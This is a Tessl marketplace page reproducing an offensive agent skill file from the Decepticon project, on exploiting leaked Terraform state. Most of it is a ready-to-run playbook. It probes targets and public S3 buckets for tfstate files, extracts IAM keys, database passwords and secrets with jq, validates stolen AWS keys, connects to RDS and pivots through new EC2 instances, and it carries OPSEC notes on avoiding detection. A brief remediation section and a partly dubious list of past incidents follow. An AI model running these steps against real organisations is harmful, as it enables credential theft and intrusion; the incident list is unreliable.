CtrlK
BlogDocsLog inGet started
Tessl Logo

terraform-state-leak

Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.

53

Quality

61%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md
SKILL.md
Quality
Evals
Security

Terraform State Leak Exploitation

Terraform's terraform.tfstate file is a plaintext JSON map of every resource Terraform manages, including:

  • IAM access keys / secret keys
  • Database passwords (RDS, ElastiCache, etc.)
  • API tokens passed in as variables
  • TLS private keys
  • Resource IDs / ARNs / topology (great for follow-on attacks)

Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks:

  • S3 bucket with public-read ACL
  • S3 bucket with overly permissive policy
  • terraform.tfstate in a public Git repo (commit history!)
  • Backup terraform.tfstate.backup left in webroot
  • Jenkins workspace / GH Actions artifact exposing state

1. Discover exposed state files

Web-exposed:

# Common paths
for path in '/terraform.tfstate' '/terraform.tfstate.backup' \
            '/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \
            '/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do
  curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
    echo "FOUND: $TARGET$path"
done

# Or scan with feroxbuster
feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \
  -x tfstate,tfstate.backup,tfstate.json

S3-direct:

# Public bucket scan
aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate'

# Common bucket-name patterns to enumerate
for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \
              "tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do
  aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3
done

Git-history:

# Look for committed-then-removed state in target's public repos
gh search code "terraform.tfstate" --owner "$ORG" --json path,repository

# In a cloned repo
git log --all --full-history -- '*terraform.tfstate*'
git log -p --all --full-history -- '*terraform.tfstate*' | head -200

2. Parse the state

# Quick triage
jq '.terraform_version, .resources | length' /tmp/state.tfstate

# Extract every sensitive-looking value
jq -r '.resources[] | .instances[] | .attributes | to_entries[] |
       select(.key | test("password|secret|token|key|credential"; "i")) |
       "\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt

# IAM access keys (specifically)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
       .instances[] | .attributes |
       "\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate

# RDS passwords
jq -r '.resources[] | select(.type=="aws_db_instance") |
       .instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \
  /tmp/state.tfstate

# Database connection URLs (often w/ embedded passwords)
jq -r '.resources[] | .instances[] | .attributes |
       to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) |
       .value' /tmp/state.tfstate

# Lambda env vars (often hold secrets)
jq -r '.resources[] | select(.type=="aws_lambda_function") |
       .instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate

Decepticon ingest:

tfstate_audit("/tmp/state.tfstate")

3. Topology gold-mine

Beyond raw secrets, the state reveals:

  • VPC IDs / subnet IDs / security group IDs / NACL rules
  • Route 53 zones + internal DNS names
  • All resource ARNs (good for IAM policy targeting later)
  • Tags revealing org structure (environment, owner, cost-center)
  • KMS key ARNs and aliases
  • Lambda function code locations
  • ECS task definitions / cluster names
  • RDS endpoints + which security group / VPC

This data alone is high-value recon for a follow-on engagement.

4. Validate IAM keys

AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity
# Returns the IAM ARN if valid → confirmed live cred

AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user
# Get user details + creation date → know if it's a real human or service

Pivot to aws-iam-enum/SKILL.md for privesc from here.

5. RDS pivot

With password from state:

ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") |
           .instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1)

# Connect (requires network reach — usually need to be in VPC or pivot)
mysql -h $ENDPOINT -u $USER -p$PASSWORD
psql -h $ENDPOINT -U $USER  # PGPASSWORD from state

If RDS isn't reachable from your perimeter: launch an EC2 in the same VPC using IAM keys from state (if the role has ec2:RunInstances), then hop through it.

6. Promote

kg_add_node(kind="vulnerability", label="Exposed Terraform state: <url>",
            props={"severity":"critical","secrets_found":<n>})
for each cred:
  kg_add_node(kind="credential", label="<service>:<value>")
  kg_add_edge(src=<vuln>, dst=<cred>, kind="exposes")

OPSEC

  • Reading a public bucket / web file leaves logs only at the storage layer (S3 access logs, CloudFront access logs)
  • Using IAM keys triggers CloudTrail events (GetCallerIdentity is benign but observable)
  • Many teams have detections for *Sandbox* / *test* IAM users being used from new IPs

CVSS

  • IAM access key from state + permissive policy: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0
  • RDS pw + DB has PII: 9.0 (network reach gates)
  • Topology disclosure only: Medium 5-6

Defender remediation

# Migrate to S3 backend with encryption + versioning
terraform {
  backend "s3" {
    bucket         = "tf-state-$ORG"
    key            = "infra.tfstate"
    region         = "us-east-1"
    encrypt        = true
    kms_key_id     = "arn:aws:kms:...:key/..."
    dynamodb_table = "tf-state-lock"
  }
}

# Verify bucket policy denies public access
aws s3api put-public-access-block --bucket tf-state-$ORG \
  --public-access-block-configuration \
  "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

# Scan repos for committed state files
git log --all --full-history -- '*tfstate*' && \
  echo "DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)"

Known exemplars

  • 2019: Capital One subsidiary leaked tfstate w/ RDS creds → DB exfil
  • 2021: Multiple Fortune-500 had tfstate in public S3 (Detectify scan)
  • 2023: GitHub Actions misconfig where tfstate was uploaded as artifact, downloadable without auth
  • Pattern: terraform-cli running in CI without explicit -backend-config=encrypt=true defaults to local state which lands in artifact storage
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.